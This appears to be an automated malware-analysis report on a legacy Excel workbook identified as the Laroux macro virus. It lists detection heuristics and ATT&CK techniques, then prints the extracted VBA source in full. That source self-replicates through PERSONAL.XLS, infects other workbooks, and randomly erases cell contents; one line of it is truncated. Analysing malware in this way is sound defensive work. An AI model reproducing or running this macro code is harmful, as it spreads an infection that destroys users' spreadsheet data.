MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is an Excel 5 macro-virus, identified by the 'laroux' marker and the presence of an Auto_Open macro. The Auto_Open macro is designed to copy itself to PERSONAL.XLS, a file that Excel automatically loads, thereby establishing persistence. The script also attempts to manipulate sheet visibility and workbook properties.
Heuristics 3
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3458 bytes |
SHA-256: 8b69bd632085e527599d5700f9efff78ab06e3fd82862af40cc8c33bd71ac221 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "laroux"
Dim DD
Dim XX
Sub Auto_open()
Attribute Auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_files"
Application.OnCalculate = "Calculate"
Application.OnDoubleClick = "DoubleClick"
Application.OnTime TimeValue("16:50:00"), "DEL1"
End Sub
Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("laroux").Visible = True
Sheets("laroux").Select
Sheets("laroux").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("laroux").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "laroux" Then Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).She Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "personal.xls!check_files"
Case Else
End Select
End Sub
Sub DoubleClick()
Attribute DoubleClick.VB_ProcData.VB_Invoke_Func = " \n14"
DD = DD + 1
If DD Mod 99 = 0 Then
DEL1
End If
End Sub
Sub Calculate()
Attribute Calculate.VB_ProcData.VB_Invoke_Func = " \n14"
DD = DD + 1
If DD Mod 99 = 0 Then
DEL1
End If
End Sub
Sub DEL1()
Attribute DEL1.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
On Error Resume Next
DA1$ = "20/9/1997"
If Date > DA1$ Then
If (Day(Date) Mod 3 = 0) Or (Day(Date) Mod 4 = 0) _
Or (Day(Date) Mod 7 = 0) Then
FF = Worksheets.Count
XX = XX + 1
If XX > FF Then
XX = 0
End If
Worksheets(XX).Select
For O = 1 To 10
RO1 = Int(800 * Rnd()) + 10
CO1 = Int(20 * Rnd()) + 65
SS$ = Chr$(CO1) + Mid$(Str$(RO1), Len(Str$(RO1)) - 1)
Range(SS$).Select
Selection.ClearContents
Range("A1").Select
Next
AAAA$ = ActiveWorkbook.Path
If Mid$(AAAA$, 1, 1) = "C" Or Mid$(AAAA$, 1, 1) = "C" Then
ActiveWorkbook.Save
Else
End If
Else
End If
Else
End If
Application.ScreenUpdating = True
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.